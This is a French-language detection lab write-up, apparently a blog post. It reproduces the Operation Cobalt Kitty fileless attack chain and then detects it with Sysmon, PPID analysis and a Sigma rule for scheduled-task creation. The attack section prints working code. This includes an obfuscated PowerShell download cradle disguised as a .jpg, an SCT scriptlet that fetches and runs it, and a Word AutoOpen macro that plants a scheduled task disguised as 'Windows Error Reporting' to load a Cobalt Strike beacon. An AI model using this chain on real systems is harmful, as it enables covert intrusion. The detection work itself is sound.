Dans les deux premiers labs, nous avons vu deux méthodes de détection d’attaque: l’analyse parent-enfant (PPID) et l’analyse des connections. Ces labs nous ont permis d’utiliser des C2 frameworks, Covenant et Koadic, et de voir des méthodes d’évasion (PPID spoofing et mshta).
- Attack Detection Fundamentals - Initial Access - Lab1
- Attack Detection Fundamentals - Initial Access - Lab2
Dans ce troisième lab de la série Initial Access du workshop Attack Detection Fundamentals nous allons reproduire les vecteurs d’attaque de Cobalt Kitty [1]
Operation Cobalt Kitty is an example of a fileless attack that used malicious PowerShell to target an Asian corporation for almost 6 months. A spear-phishing email was used to infiltrate more than 40 PCs and server [2]
Fileless attack: Un programme malveillant entièrement sans fichiers peut être considéré comme un logiciel malveillant qui n’exige jamais l’écriture d’un fichier sur le disque. [3]
Nous verrons lors de la phase d’analyse que l’opération Cobalt Kitty est détectable grace à l’analyse PPID et l’analyse des connections réseau des processus.
Étapes de l’attaque: Nous créerons une macro Word pour générer une tâche planifiée (scheduled task) qui utilise “mshta.exe” afin d’éxécuter un script externe. Ce script téléchargera et exécutera un second stager qui injectera finalement une balise Cobalt Strike en mémoire à l’aide de PowerShell.
Source: [1]
Source: [4][5]
Cobalt Strike est un outil développé pour les équipes red team mais est ausssi utilisé par plusieurs groupes APT. Voir [6]
Cobalt Strike gives you a post-exploitation agent and covert channels to emulate a quiet long-term embedded actor in your customer’s network [7]
Source: [8]
HTTP Beacon
Ref: [9][10]11]
- Lancer le serveur Cobalt Strike (team server)
- Lancer le client:
./start.sh
Se connecter au serveur
- Création d’un listener
Configure Listeners > Add
- Création du payload
Setup Scripted Web-Delivery (stageless
)
Génère un script et l’hébèrge sur le serveur
Download un script PowerShell et l’exécute en mémoire comme c’était le cas pour le lab 1.
- Offuscation:
Invoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command and script obfuscator.
Installer Powershell sur Ubuntu: https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-7
set SCRIPTBLOCK IEX ((new-object net.webclient).downloadstring('http://192.168.1.94:80/a'))
TOKEN
puis ALL
1
Payload: &("{1}{0}"-f'EX','I') ((&("{1}{0}{2}"-f 'w-obj','ne','ect') ("{3}{0}{2}{1}" -f'et.web','ent','cli','n')).("{1}{0}{3}{2}" -f 'nloads','dow','ring','t').Invoke(("{0}{1}{4}{3}{2}"-f'http://192.1','68.1.94:','a','/','80')))
Enregistrer le payload dans un fichier nommé microsoft.jpg
Héberger ce fichier sur le serveur Cobalt Strike /updates/microsoft.jpg
Host a file
Penser à mettre le MIME TYPE à text/plain
- Fichier SCT
La prochaine étape du processus est la création d’un fichier SCT qui sera utilisé pour exécuter le payload PowerShell que nous venons de construire.
Nous nous inspirons de ce PoC pour construire notre stagger: https://gist.github.com/bohops/6ded40c4989c673f2e30b9a6c1985019
Enregistrer le script suivant sous microsoftftp.jpg
<?XML version="1.0"?>
<scriptlet>
<registration description="Bandit" progid="Bandit" version="1.00" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}">
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- @RedCanary - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/atomic-dev-cs/Windows/Payloads/mshta.sct -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("powershell.exe iex (iwr 'http://192.168.1.94:80/updates/microsoft.jpg')");
]]>
</script>
</registration>
<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
function Exec()
{
var r = new ActiveXObject("WScript.Shell").Run("powershell.exe iex (iwr 'http://192.168.1.94:80/updates/microsoft.jpg')");
}
]]>
</script>
</scriptlet>
Héberger le fichier sur le serveur Cobalt Strike: /updates/microsoftftp.jpg
- Macro Word
La dernière étape consiste à créer une macro VBA malicieuse dans un doc Word. Cette macro créera une tache planifiée qui déclanchera les étapes que nous avons construit précédemment
Code:
Sub AutoOpen()
Call Shell("schtasks /create /sc MINUTE /tn ""Windows Error Reporting"" /tr ""mshta.exe javascript:a=GetObject('script:http://192.168.1.94:80/updates/microsoftftp.jpg').Exec();close();"" /mo 15 /F")
End Sub
Lancer la macro
On obtient une connection dans Cobalt Strike
Analyse
Les événements Sysmon montrent les étapes suivantes:
- Création d’une tâche: LOL bin schtasks.exe [12]
Cette tâche est engendrée par WINWORD.EXE (PPID)
Dans Task Scheduler on observe bien qu’une nouvelle tâche a été créée
Lancer la tache sinon il faut attendre 15 min…
Sysmon:
- Creation du LOL Bin Mshta - Event id 1
Used by Windows to execute html applications. (.hta) [13]
Déjà vu dans Lab 2. Technique d’évasion
- Connection réseau Mshta - Event id 3
- Création de Powershell - Event id 1
Parent: mshta.exe
Règle Sigma pour détecter la création de tâche:
Nous allons utiliser la règle /rules/windows/builtin/win_rare_schtasks_creations.yml
de Sigma. Cette règle utilise les logs Security de Windows
/!\ Activer les logs liés au task scheduler dans Security [14]:
Local Group Policy Editor > Computer Configuration > Windows Settings > Security Settings > Advanced Audit Policy Configuration > System Audit Policies > Object Access > Audit Other Object Access Events
Configurer
Génération de la règle Sigma /rules/windows/builtin/win_rare_schtasks_creations.yml
en powershell (Au besoin voir lab 1)
Event id 4698 = A scheduled task was created [15]
Test:
L’activité liée au task scheduler est aussi loguée ici:
Event Viewer > Applications and Services Logs > Microsoft > Windows > TaskScheduler > Operational
Pour vérifier que les logs sont activés:
Clic droit -> Properties. Enable logging
Conclusion
Nous avons reproduit les étapes utilisées lors de l’opération Cobalt Kitty. Bien que cette attaque soit fileless, il est possible de la détecter à l’aide de l’analyse PPID et des connections réseau.
Références
[1] F-Secure, Attack Detection Fundamentals: Initial Access - Lab #3, https://labs.f-secure.com/blog/attack-detection-fundamentals-initial-access-lab-3
[2] Norton, What is fileless malware and how does it work?, https://us.norton.com/internetsecurity-malware-what-is-fileless-malware..html
[3] Microsoft, Menaces fileless, https://docs.microsoft.com/fr-fr/windows/security/threat-protection/intelligence/fileless-threats
[4] Cybereason, Operation Cobalt Kitty: A large-scale APT in Asia carried out by the OceanLotus Group, https://www.cybereason.com/blog/operation-cobalt-kitty-apt
[5] Cybereason, Operation Cobalt Kitty Cybereason Labs Analysis, https://attack.mitre.org/docs/training-cti/Cybereason%20Cobalt%20Kitty%20-%20answers.pdf
[6] MalwareBytes Labs, Multi-stage APT attack drops Cobalt Strike using Malleable C2 feature, https://blog.malwarebytes.com/threat-analysis/2020/06/multi-stage-apt-attack-drops-cobalt-strike-using-malleable-c2-feature/
[7] CobaltStrike, https://www.cobaltstrike.com/
[8] Aldeid, Cobalt Strike, https://www.aldeid.com/wiki/Cobalt-Strike
[9] Red Team Experiments, Cobalt Strike 101, https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands
[10] Introduction to Cobalt Strike, https://securityonline.info/introduction-cobalt-strike/
[11] Daniel Bohannon, The Invoke-Obfuscation Usage Guide :: Part 1, https://www.danielbohannon.com/blog-1/2017/12/2/the-invoke-obfuscation-usage-guide
[12] LOLBAS, Schtasks, https://lolbas-project.github.io/lolbas/Binaries/Schtasks/
[13] LOLBAS, Mshta, https://lolbas-project.github.io/lolbas/Binaries/Mshta/
[14] CSO, How to audit Windows Task Scheduler for cyber-attack activity, https://www.csoonline.com/article/3373498/how-to-audit-windows-task-scheduler-for-cyber-attack-activity.html
[15] Microsoft, 4698(S): A scheduled task was created, https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698
Poursuivez avec :
This work is licensed under a Creative Commons Attribution 4.0 International License.